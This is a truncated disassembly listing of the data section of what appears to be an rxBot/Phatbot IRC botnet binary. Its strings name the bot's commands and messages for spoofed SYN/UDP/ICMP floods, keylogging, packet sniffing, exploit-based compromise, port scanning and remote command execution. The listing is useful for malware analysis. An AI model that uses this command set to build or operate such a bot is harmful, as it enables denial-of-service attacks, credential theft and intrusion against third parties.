sub_401ACD+572Co db 3, 34h, 2 db 75h ; u db 64h, 70h, 2 db 3 aSendingDPacket db '- Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0 align 4 unk_42A78C db 2Dh ; - ; DATA XREF: sub_401ACD+567Bo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aMessageHasBeen db '- Message has been sent successfuly',0 align 10h unk_42A7C0 db 2Dh ; - ; DATA XREF: sub_401ACD+5647o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aFailedToSendMe db '- Failed to send message, error <%i>.',0 align 4 unk_42A7F4 db 2Dh ; - ; DATA XREF: sub_401ACD+5623o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aNetsendDoesNot db '- NetSend does not work on Win9x systems',0 align 4 unk_42A82C db 2Dh ; - ; DATA XREF: sub_401ACD+5581o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aSendingMessage db '- Sending message %s times to %s using name %s',0 aIcmp_dllNotAva db 'ICMP.dll not available',0 ; DATA XREF: sub_401ACD+5564o align 10h unk_42A880 db 2Dh ; - ; DATA XREF: sub_401ACD+554Fo db 3, 34h, 2 db 70h ; p db 69h, 6Eh, 67h db 2 db 3, 2Dh, 20h aFailedToSta_12 db 'Failed to start flood thread, error: <%d>.',0 align 4 unk_42A8B8 db 2Dh ; - ; DATA XREF: sub_401ACD+54E0o db 3, 34h, 2 db 70h ; p db 69h, 6Eh, 67h db 2 db 3, 2Dh, 20h aSendingDPingsT db 'Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0 align 10h unk_42A900 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_406EFFo db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aInvalidFlood_0 db '- Invalid flood time must be greater than 0.',0 align 4 unk_42A938 db 2Dh ; - ; DATA XREF: sub_401ACD+5428o db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aFailedToSta_13 db '- Failed to start flood thread, error: <%d>.',0 align 10h unk_42A970 db 2Dh ; - ; DATA XREF: sub_401ACD+53AEo db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aSSFloodingSSFo db '- %s %s flooding: (%s:%s) for %s seconds.',0 align 4 aNormal db 'Normal',0 ; DATA XREF: sub_401ACD+539Eo align 4 aSpoofed db 'Spoofed',0 ; DATA XREF: sub_401ACD+5397o unk_42A9B4 db 2Dh ; - ; DATA XREF: sub_401ACD+52FCo db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aInvalidFloodTy db '- Invalid flood type specified.',0 align 10h aRandom_0 db 'random',0 ; DATA XREF: sub_401ACD+52ECo align 4 aAck db 'ack',0 ; DATA XREF: sub_401ACD+52D5o aHcon db 'hcon',0 ; DATA XREF: sub_401ACD+525Fo align 4 aHttpcon db 'httpcon',0 ; DATA XREF: sub_401ACD+524Co unk_42A9FC db 2Dh ; - ; DATA XREF: sub_401ACD+51FDo db 3, 34h, 2 db 65h ; e db 6Dh, 61h, 69h db 6Ch ; l db 2, 3, 2Dh aMessageSentToS db ' Message sent to %s.',0 align 10h aHeloRndnickMai db 'helo $rndnick',0Ah ; DATA XREF: sub_401ACD+5189o db 'mail from: <%s>',0Ah db 'rcpt to: <%s>',0Ah db 'data',0Ah db 'subject: %s',0Ah db 'from: %s',0Ah db '%s',0Ah db '.',0Ah,0 aEmail db 'email',0 ; DATA XREF: sub_401ACD+509Eo align 4 aTcp db 'tcp',0 ; DATA XREF: sub_401ACD+5087o aTcpflood db 'tcpflood',0 ; DATA XREF: sub_401ACD+5070o align 4 aP: ; DATA XREF: sub_401ACD+5059o ; ___:00437FA8o unicode 0, <p>,0 aPing_0 db 'ping',0 ; DATA XREF: sub_401ACD+5042o align 10h aPingflood db 'pingflood',0 ; DATA XREF: sub_401ACD+502Bo align 4 aNs db 'ns',0 ; DATA XREF: sub_401ACD+5014o align 10h aNetsend db 'netsend',0 ; DATA XREF: sub_401ACD+4FFDo aU: ; DATA XREF: sub_401ACD+4FE6o ; ___:00437FB8o unicode 0, <u>,0 aUdp db 'udp',0 ; DATA XREF: sub_401ACD+4FCFo aUdpflood db 'udpflood',0 ; DATA XREF: sub_401ACD+4FB8o align 4 aAdvscan db 'advscan',0 ; DATA XREF: sub_401ACD+4F8Ao aPsc db 'psc',0 ; DATA XREF: sub_401ACD+4F73o aPortscan db 'portscan',0 ; DATA XREF: sub_401ACD+4F5Co align 4 aC_a db 'c_a',0 ; DATA XREF: sub_401ACD+4F36o aC_action db 'c_action',0 ; DATA XREF: sub_401ACD+4F1Fo align 4 aC_pm db 'c_pm',0 ; DATA XREF: sub_401ACD+4F08o align 4 aC_privmsg db 'c_privmsg',0 ; DATA XREF: sub_401ACD+4EF1o align 4 aSc db 'sc',0 ; DATA XREF: sub_401ACD+4EDAo align 4 aScan db 'scan',0 ; DATA XREF: sub_401ACD+4EC3o align 4 aRd db 'rd',0 ; DATA XREF: sub_401ACD+4EACo align 4 aRedirect db 'redirect',0 ; DATA XREF: sub_401ACD+4E95o align 4 aJpl10 db 'jpl10',0 ; DATA XREF: sub_401ACD+4E7Eo align 4 aJpldg10 db 'jpldg10',0 ; DATA XREF: sub_401ACD+4E67o aWonk db 'wonk',0 ; DATA XREF: sub_401ACD+4E50o align 4 aPhatwonk db 'phatwonk',0 ; DATA XREF: sub_401ACD+4E39o align 4 dword_42AB38 dd 234032Dh, 73796B73h, 3026E79h ; DATA XREF: sub_401ACD+4E2Co aFailedToSta_14 db '- Failed to start flood thread, error: <%d>.',0 align 4 dword_42AB74 dd 234032Dh, 73796B73h, 3026E79h ; DATA XREF: sub_401ACD+4DBDo aFloodingSSFo_1 db '- Flooding: (%s:%s) for %s seconds.',0 aSkysyn db 'skysyn',0 ; DATA XREF: sub_401ACD+4D3Ao align 4 aSyn db 'syn',0 ; DATA XREF: sub_401ACD+4D23o ; sub_401ACD+52BDo aSynflood db 'synflood',0 ; DATA XREF: sub_401ACD+4D0Co align 4 unk_42ABBC db 2Dh ; - ; DATA XREF: sub_401ACD+4CFFo db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aFailedToSta_15 db '- Failed to start flood thread, error: <%d>.',0 align 4 aWisdom_udp db 'wisdom.udp',0 ; DATA XREF: sub_401ACD+4C28o align 4 aDdos_random db 'ddos.random',0 ; DATA XREF: sub_401ACD+4C11o ; sub_412B08:loc_412C34o aDdos_ack db 'ddos.ack',0 ; DATA XREF: sub_401ACD+4BFAo ; sub_412B08:loc_412C18o align 10h aDdos_syn db 'ddos.syn',0 ; DATA XREF: sub_401ACD+4BE3o ; sub_412B08+F1o align 4 aC: ; DATA XREF: sub_401ACD+4BCCo ; ___:00437C70o unicode 0, <c>,0 aClone_0 db 'clone',0 ; DATA XREF: sub_401ACD+4BB5o align 4 aIcmp db 'icmp',0 ; DATA XREF: sub_401ACD+4B8Co align 10h aIcmpflood db 'icmpflood',0 ; DATA XREF: sub_401ACD+4B75o align 4 aMv db 'mv',0 ; DATA XREF: sub_401ACD+4B5Eo align 10h aRename db 'rename',0 ; DATA XREF: sub_401ACD+4B47o align 4 aFf db 'ff',0 ; DATA XREF: sub_401ACD+4B30o align 4 aFindfile db 'findfile',0 ; DATA XREF: sub_401ACD+4B19o align 4 aE: ; DATA XREF: sub_401ACD+4B02o unicode 0, <e>,0 aExecute db 'execute',0 ; DATA XREF: sub_401ACD+4AEBo aJp10 db 'jp]10',0 ; DATA XREF: sub_401ACD+4AD4o align 4 aJpDe100 db 'jp]de100',0 ; DATA XREF: sub_401ACD+4ABDo align 4 aDe db 'de',0 ; DATA XREF: sub_401ACD+4AA6o align 4 aDelay db 'delay',0 ; DATA XREF: sub_401ACD+4A8Fo align 4 aRp db 'rp',0 ; DATA XREF: sub_401ACD+4A78o align 4 aRepeat db 'repeat',0 ; DATA XREF: sub_401ACD+4A61o ; sub_401ACD+6BE7o align 10h aTsn db 'tsn',0 ; DATA XREF: sub_401ACD+4A4Ao aTsunami db 'tsunami',0 ; DATA XREF: sub_401ACD+4A33o aT3 db 't3',0 ; DATA XREF: sub_401ACD+4A1Co align 10h aTarga3 db 'targa3',0 ; DATA XREF: sub_401ACD+4A05o align 4 aC_p db 'c_p',0 ; DATA XREF: sub_401ACD+49EEo aC_part db 'c_part',0 ; DATA XREF: sub_401ACD+49D7o align 4 aC_j db 'c_j',0 ; DATA XREF: sub_401ACD+49C0o aC_join db 'c_join',0 ; DATA XREF: sub_401ACD+49A9o align 10h aC_n db 'c_n',0 ; DATA XREF: sub_401ACD+4992o aC_nick db 'c_nick',0 ; DATA XREF: sub_401ACD+497Bo align 4 aC_m db 'c_m',0 ; DATA XREF: sub_401ACD+4964o aC_mode db 'c_mode',0 ; DATA XREF: sub_401ACD+494Do align 4 aC_r db 'c_r',0 ; DATA XREF: sub_401ACD+4936o aC_raw db 'c_raw',0 ; DATA XREF: sub_401ACD+491Fo align 4 aM: ; DATA XREF: sub_401ACD+4908o ; ___:00437C80o ... unicode 0, <m>,0 aCy db 'cy',0 ; DATA XREF: sub_401ACD+48DAo align 4 aCycle db 'cycle',0 ; DATA XREF: sub_401ACD+48C3o align 4 aA: ; DATA XREF: sub_401ACD+48ACo unicode 0, <a>,0 aAction db 'action',0 ; DATA XREF: sub_401ACD+4895o align 10h aPrivmsg_0 db 'privmsg',0 ; DATA XREF: sub_401ACD+4867o aAa db 'aa',0 ; DATA XREF: sub_401ACD+4850o align 4 aAddalias db 'addalias',0 ; DATA XREF: sub_401ACD+4839o align 4 aKl db 'kl',0 ; DATA XREF: sub_401ACD+4822o align 4 aKilllog db 'killlog',0 ; DATA XREF: sub_401ACD+480Bo aGh db 'gh',0 ; DATA XREF: sub_401ACD+47E2o align 4 aGethost db 'gethost',0 ; DATA XREF: sub_401ACD+47CDo aCap db 'cap',0 ; DATA XREF: sub_401ACD+47B8o aCapture db 'capture',0 ; DATA XREF: sub_401ACD+47A3o unk_42AD4C db 2Dh ; - ; DATA XREF: sub_401ACD:loc_406265o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aCommandUnknown db '- Command unknown.',0 unk_42AD68 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40625Bo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aNoMessageSpeci db '- No message specified.',0 align 4 aSend db 'send',0 ; DATA XREF: sub_401ACD+475Eo ; sub_409B12+5F0o align 4 unk_42AD94 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40621Eo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserListFailed db '- User list failed.',0 align 4 unk_42ADB4 db 2Dh ; - ; DATA XREF: sub_401ACD+4747o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserListComple db '- User list completed.',0 aUser db 'user',0 ; DATA XREF: sub_401ACD+46D3o align 4 unk_42ADDC db 2Dh ; - ; DATA XREF: sub_401ACD:loc_406193o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aShareListFaile db '- Share list failed.',0 align 4 unk_42ADFC db 2Dh ; - ; DATA XREF: sub_401ACD+46BCo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aShareListCompl db '- Share list completed.',0 align 10h aShare db 'share',0 ; DATA XREF: sub_401ACD+466Eo align 4 aContinue db 'continue',0 ; DATA XREF: sub_401ACD+462Ao align 4 aPause db 'pause',0 ; DATA XREF: sub_401ACD+4610o align 4 aStop db 'stop',0 ; DATA XREF: sub_401ACD+45F6o align 4 unk_42AE44 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4060B6o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aServiceListFai db '- Service list failed.',0 unk_42AE64 db 2Dh ; - ; DATA XREF: sub_401ACD+45DFo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aServiceListCom db '- Service list completed.',0 align 4 aStart db 'start',0 ; DATA XREF: sub_401ACD+45A9o align 10h unk_42AE90 db 2Dh ; - ; DATA XREF: sub_401ACD+4577o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aFailedToLoadAd db '- Failed to load advapi32.dll or netapi32.dll.',0 aNet db 'net',0 ; DATA XREF: sub_401ACD+4553o dword_42AECC dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401ACD+4548o aFailedToStartL db '- Failed to start logging thread, error: <%d>.',0 align 4 dword_42AF08 dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401ACD+44D9o aKeyLoggerActiv db '- Key logger active.',0 align 4 dword_42AF2C dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401ACD+4457o aAlreadyRunning db '- Already running.',0 align 4 dword_42AF4C dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401ACD:loc_405F0Eo aNoKeyLoggerThr db '- No key logger thread found.',0 align 4 dword_42AF78 dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401ACD+4437o aKeyLoggerStopp db '- Key logger stopped. (%d thread(s) stopped.)',0 align 4 aFile db 'file',0 ; DATA XREF: sub_401ACD+43F8o align 4 aKeylog db 'keylog',0 ; DATA XREF: sub_401ACD+43D6o align 4 dword_42AFC4 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD:loc_405E98o aNoThreadFound_ db '- No thread found.',0 align 4 dword_42AFE4 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+43C1o aServerStopped_ db '- Server stopped. (%d thread(s) stopped.)',0 align 4 dword_42B01C dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+4391o aFailedToSta_16 db '- Failed to start server, error: <%d>.',0 align 10h dword_42B050 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+4344o aServerRunnin_0 db '- Server running on Port: 113.',0 align 4 dword_42B07C dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+4334o aAlreadyRunni_0 db '- Already running.',0 align 4 aIdent db 'ident',0 ; DATA XREF: sub_401ACD+4301o align 4 unk_42B0A4 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_405DC3o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aNoPhatbotSniff db '- No Phatbot sniffer thread found.',0 unk_42B0D4 db 2Dh ; - ; DATA XREF: sub_401ACD+42ECo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aPhatbotSniffer db '- Phatbot sniffer stopped. (%d thread(s) stopped.)',0 unk_42B114 db 2Dh ; - ; DATA XREF: sub_401ACD+42BCo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aFailedToSta_17 db '- Failed to start sniffer thread, error: <%d>.',0 unk_42B150 db 2Dh ; - ; DATA XREF: sub_401ACD+424Do db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aPhatbotPacketS db '- Phatbot packet sniffer active.',0 align 10h unk_42B180 db 2Dh ; - ; DATA XREF: sub_401ACD+41E6o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aAlreadyRunni_1 db '- Already running.',0 aSniffer db 'sniffer',0 ; DATA XREF: sub_401ACD+41AFo dword_42B1A8 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD:loc_405C71o aNoCarnivoreThr db '- No Carnivore thread found.',0 align 4 dword_42B1D4 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+419Ao aCarnivoreStopp db '- Carnivore stopped. (%d thread(s) stopped.)',0 align 10h dword_42B210 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+416Ao aFailedToSta_18 db '- Failed to start sniffer thread, error: <%d>.',0 align 4 dword_42B24C dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+40FBo aCarnivorePacke db '- Carnivore packet sniffer active.',0 align 4 dword_42B27C dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+4094o aAlreadyRunni_2 db '- Already running.',0 align 4 aOn db 'on',0 ; DATA XREF: sub_401ACD+4074o ; sub_401ACD+41C6o ... align 10h aPsniff db 'psniff',0 ; DATA XREF: sub_401ACD+405Do align 4 aRf db 'rf',0 ; DATA XREF: sub_401ACD+4048o align 4 aReadfile db 'readfile',0 ; DATA XREF: sub_401ACD+4033o align 4 aCm db 'cm',0 ; DATA XREF: sub_401ACD+401Eo align 4 aCmd db 'cmd',0 ; DATA XREF: sub_401ACD+4009o aMirc db 'mirc',0 ; DATA XREF: sub_401ACD+3FF4o align 4 aMirccmd db 'mirccmd',0 ; DATA XREF: sub_401ACD+3FDFo aV: ; DATA XREF: sub_401ACD+3FCAo ; ___:00437C74o ... unicode 0, <v>,0 aVisit db 'visit',0 ; DATA XREF: sub_401ACD+3FB5o align 4 aLi db 'li',0 ; DATA XREF: sub_401ACD+3FA0o align 10h aList db 'list',0 ; DATA XREF: sub_401ACD+3F8Bo align 4 aGt db 'gt',0 ; DATA XREF: sub_401ACD+3F76o align 4 aDel db 'del',0 ; DATA XREF: sub_401ACD+3F4Co aDelete db 'delete',0 ; DATA XREF: sub_401ACD+3F37o ; sub_401ACD+4644o align 4 aKi db 'ki',0 ; DATA XREF: sub_401ACD+3F22o align 4 aKill db 'kill',0 ; DATA XREF: sub_401ACD+3F0Do align 4 aKp db 'kp',0 ; DATA XREF: sub_401ACD+3EF8o align 4 aKillproc db 'killproc',0 ; DATA XREF: sub_401ACD+3EE3o align 4 aDn db 'dn',0 ; DATA XREF: sub_401ACD+3ECEo align 4 aDns db 'dns',0 ; DATA XREF: sub_401ACD+3EB9o aSe db 'se',0 ; DATA XREF: sub_401ACD+3EA4o align 10h aServer db 'server',0 ; DATA XREF: sub_401ACD+3E8Fo align 4 aO: ; DATA XREF: sub_401ACD+3E7Ao ; ___:00437FA4o unicode 0, <o>,0 aOpen db 'open',0 ; DATA XREF: sub_401ACD+3E65o ; sub_401ACD+590Bo ... align 4 aPr db 'pr',0 ; DATA XREF: sub_401ACD+3E50o align 4 aPrefix db 'prefix',0 ; DATA XREF: sub_401ACD+3E3Bo align 10h aC_rn db 'c_rn',0 ; DATA XREF: sub_401ACD+3E26o align 4 aC_rndnick db 'c_rndnick',0 ; DATA XREF: sub_401ACD+3E11o align 4 aC_q db 'c_q',0 ; DATA XREF: sub_401ACD+3DFCo aC_quit db 'c_quit',0 ; DATA XREF: sub_401ACD+3DE7o align 10h aKillthread db 'killthread',0 ; DATA XREF: sub_401ACD+3DBDo align 4 aRaw db 'raw',0 ; DATA XREF: sub_401ACD+3D93o aPt db 'pt',0 ; DATA XREF: sub_401ACD+3D7Eo align 4 aJ: ; DATA XREF: sub_401ACD+3D54o ; ___:00437C5Co ... unicode 0, <j>,0 aN: ; DATA XREF: sub_401ACD+3D2Ao ; ___:00437C7Co ... unicode 0, <n>,0 unk_42B37C db 2Dh ; - ; DATA XREF: sub_401ACD+3CF6o db 3, 34h, 2 db 69h ; i db 72h, 63h, 66h db 75h ; u db 63h, 6Bh, 2 db 3 aDisconnectingC db '- disconnecting clones...',0 align 4 aNickservRegist db 'nickserv register %s %s',0 ; DATA XREF: sub_401ACD+3C92o aRegister db 'register',0 ; DATA XREF: sub_401ACD+3C69o align 4 aPrivmsgSS_0 db 'PRIVMSG %s :%s',0 ; DATA XREF: sub_401ACD+3C10o align 4 aMix db 'mix',0 ; DATA XREF: sub_401ACD+3B43o dword_42B3DC dd 56495250h, 2047534Dh, 3A207325h, 6E696601h, 1726567h ; DATA XREF: sub_401ACD+3AEFo ; sub_401ACD+3B26o dd 0 dword_42B3F4 dd 56495250h, 2047534Dh, 3A207325h, 72657601h, 6E6F6973h ; DATA XREF: sub_401ACD+3AB8o dd 1 dword_42B40C dd 56495250h, 2047534Dh, 3A207325h, 6E697001h, 167h ; DATA XREF: sub_401ACD+3A81o ; sub_401ACD+3B98o aCtcp db 'ctcp',0 ; DATA XREF: sub_401ACD+3A2Co align 4 aNoticeSS_0 db 'NOTICE %s :%s',0 ; DATA XREF: sub_401ACD+3997o ; sub_401ACD+39D3o ... align 4 aNotice_0 db 'notice',0 ; DATA XREF: sub_401ACD+393Do align 10h aMsg db 'msg',0 ; DATA XREF: sub_401ACD+384Eo aChgnick db 'chgnick',0 ; DATA XREF: sub_401ACD+3807o aNick_0 db 'nick',0 ; DATA XREF: sub_401ACD+3705o ; sub_401ACD+3D15o align 4 dword_42B454 dd 56495250h, 2047534Dh, 3A207325h, 43434401h, 4E455320h ; DATA XREF: sub_401ACD+36E8o dd 64252044h, 2064252Eh, 25206425h, 64252064h, 1 dword_42B47C dd 636364h ; DATA XREF: sub_401ACD+366Bo dword_42B480 dd 6E696F6Ah, 7261702Fh, 74h ; DATA XREF: sub_401ACD+351Eo dword_42B48C dd 4B43494Eh, 732520h ; DATA XREF: sub_401ACD+3501o ; sub_401ACD+3762o ... dword_42B494 dd 69257325h, 0 ; DATA XREF: sub_401ACD+34E6o ; sub_40ACB5+4Fo ... aPnick db 'pnick',0 ; DATA XREF: sub_401ACD+34A5o align 4 aPartSS db 'part %s %s',0 ; DATA XREF: sub_401ACD+3488o ; sub_401ACD+3578o ... align 10h aPartflood db 'partflood',0 ; DATA XREF: sub_401ACD+3461o align 4 aPartS db 'part %s',0 ; DATA XREF: sub_401ACD+3444o aPart_0 db 'part',0 ; DATA XREF: sub_401ACD+3422o ; sub_401ACD+3D69o align 4 aJoinS db 'join %s',0 ; DATA XREF: sub_401ACD+3405o ; sub_401ACD+354Co ... aJoin db 'join',0 ; DATA XREF: sub_401ACD+33E3o ; sub_401ACD+3D3Fo align 4 aModeSS db 'mode %s %s',0 ; DATA XREF: sub_401ACD+33C6o align 4 aMode db 'mode',0 ; DATA XREF: sub_401ACD+3377o ; sub_401ACD+48F1o align 10h aNoticeSS_1 db 'notice %s :%s',0 ; DATA XREF: sub_401ACD+335Ao align 10h aNt db 'nt',0 ; DATA XREF: sub_401ACD+330Bo align 4 dword_42B504 dd 76697270h, 2067736Dh, 3A207325h, 1732501h, 0 ; DATA XREF: sub_401ACD+32EEo dword_42B518 dd 7463h ; DATA XREF: sub_401ACD+329Fo dword_42B51C dd 76697270h, 2067736Dh, 3A207325h, 7325h ; DATA XREF: sub_401ACD+3282o ; sub_401ACD+38A8o ... dword_42B52C dd 5Fh ; DATA XREF: sub_401ACD+3253o ; sub_401ACD+32BFo ... dword_42B530 dd 6D70h ; DATA XREF: sub_401ACD+3233o ; sub_401ACD+487Eo unk_42B534 db 2Dh ; - ; DATA XREF: sub_401ACD+3201o db 3, 34h, 2 db 69h ; i db 72h, 63h, 66h db 75h ; u db 63h, 6Bh, 2 db 3 aSClonesLoadedT db '- %s clones loaded to %s:%s',0 align 10h aLoad db 'load',0 ; DATA XREF: sub_401ACD+31AAo align 4 aFlood db 'flood',0 ; DATA XREF: sub_401ACD+3181o align 10h aRinms db 'rinms',0 ; DATA XREF: sub_401ACD+316Ao align 4 aReconnect_in_m db 'reconnect.in.ms',0 ; DATA XREF: sub_401ACD+3155o aRin db 'rin',0 ; DATA XREF: sub_401ACD+3140o aReconnect_in db 'reconnect.in',0 ; DATA XREF: sub_401ACD+312Bo align 4 unk_42B59C db 2Dh ; - ; DATA XREF: sub_401ACD+3120o db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 aFailedToStartE db '- Failed to start exploiter thread, error: <%d>.',0 align 4 unk_42B5DC db 2Dh ; - ; DATA XREF: sub_401ACD+30AEo db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 aAttemptingToCo db '- attempting to compromise %s...',0 align 4 aExploit db 'exploit',0 ; DATA XREF: sub_401ACD+3028o unk_42B614 db 2Dh ; - ; DATA XREF: sub_401ACD+300Eo db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSpoofIpSetToS_ db ' Spoof IP set to ',27h,'%s',27h,'.',0 align 10h unk_42B640 db 2Dh ; - ; DATA XREF: sub_401ACD+2FF0o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSIsAnInvalidIp db ' ',27h,'%s',27h,' is an invalid IP address.',0 aD_D_D_ db '%d.%d.%d.*',0 ; DATA XREF: sub_401ACD+2FCCo align 10h unk_42B680 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_404A40o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSpoofingCurren db ' Spoofing currently set to ',27h,'%s',27h,'.',0 align 4 aGet db 'get',0 ; DATA XREF: sub_401ACD:loc_404A22o ; sub_401ACD+3F61o unk_42B6BC db 2Dh ; - ; DATA XREF: sub_401ACD+2EDAo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aInvalidLoginSl db 'Invalid login slot number: %d.',0 align 4 unk_42B6E8 db 2Dh ; - ; DATA XREF: sub_401ACD+2ED2o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aNoUserLoggedIn db 'No user logged in at slot: %d.',0 align 4 dword_42B714 dd 234032Dh, 6E69616Dh, 202D0302h, 7325h ; DATA XREF: sub_401ACD+2E7Do unk_42B724 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40493Bo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aThisModOfRxbot db 'This mod of rxBot is dedicated to Pia Gerhardt (nameless@efnet/ir' db 'cnet), the Beautiful Operatress from Heaven (or Bitch Operatress ' db 'from Hell?) who I love so much.',0 align 4 dword_42B7D4 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_401ACD+2E4Bo aFailedToSta_19 db '- Failed to start secure thread, error: <%d>.',0 align 10h dword_42B810 dd 234032Dh, 75636573h, 3026572h, 7325202Dh, 73797320h ; DATA XREF: sub_401ACD+2DD1o dd 2E6D6574h, 0 aUnsecuring db 'Unsecuring',0 ; DATA XREF: sub_401ACD+2DCBo align 4 aSecuring db 'Securing',0 ; DATA XREF: sub_401ACD+2DC4o align 4 unk_42B844 db 2Dh ; - ; DATA XREF: sub_401ACD+2D4Do db 3, 34h, 2 db 62h ; b db 69h, 6Eh, 64h db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aFailedToSta_20 db ' Failed to start server thread, error: <%d>.',0 align 4 unk_42B884 db 2Dh ; - ; DATA XREF: sub_401ACD+2CC9o db 3, 34h, 2 db 62h ; b db 69h, 6Eh, 64h db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aServerStartedO db ' Server started on: %s:%d.',0 align 10h dword_42B8B0 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_401ACD+2C47o aFailedToSta_21 db '- Failed to start server thread, error: <%d>.',0 align 4 dword_42B8EC dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_401ACD+2BD8o aServerStarte_0 db '- Server started on: %s:%d.',0 dword_42B914 dd 234032Dh, 646E6966h, 656C6966h, 2D0302h ; DATA XREF: sub_401ACD+2B25o dword_42B924 dd 646E6946h, 6C696620h, 65h ; DATA XREF: sub_401ACD+2B20o dword_42B930 dd 234032Dh, 636F7270h, 2D030273h, 0 ; DATA XREF: sub_401ACD+2B0Do dword_42B940 dd 636F7250h, 20737365h, 7473696Ch, 0 ; DATA XREF: sub_401ACD+2B08o dword_42B950 dd 234032Dh, 6E69616Dh, 202D0302h, 6F636552h, 63656E6Eh ; DATA XREF: sub_401ACD+2A95o dd 676E6974h, 2Eh aQuitReconnecti db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_404555o ; sub_401ACD:loc_409778o ... align 4 dword_42B984 dd 234032Dh, 6E69616Dh, 202D0302h, 63736944h, 656E6E6Fh ; DATA XREF: sub_401ACD+2A73o dd 6E697463h, 2E67h aQuitDisconnect db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_404533o align 4 aQuitLater db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_40451Do ; sub_401ACD+7A7Eo align 4 aQuitS db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+2A3Eo align 4 unk_42B9D4 db 2Dh ; - ; DATA XREF: sub_401ACD+2A17o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aStatusReady_Bo db 'Status: Ready. Bot Uptime: %s.',0 align 10h dword_42BA00 dd 234032Dh, 6E69616Dh, 202D0302h, 20746F42h, 203A4449h ; DATA XREF: sub_401ACD+29D8o dd 2E7325h unk_42BA18 db 2Dh ; - ; DATA XREF: sub_401ACD+29C9o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 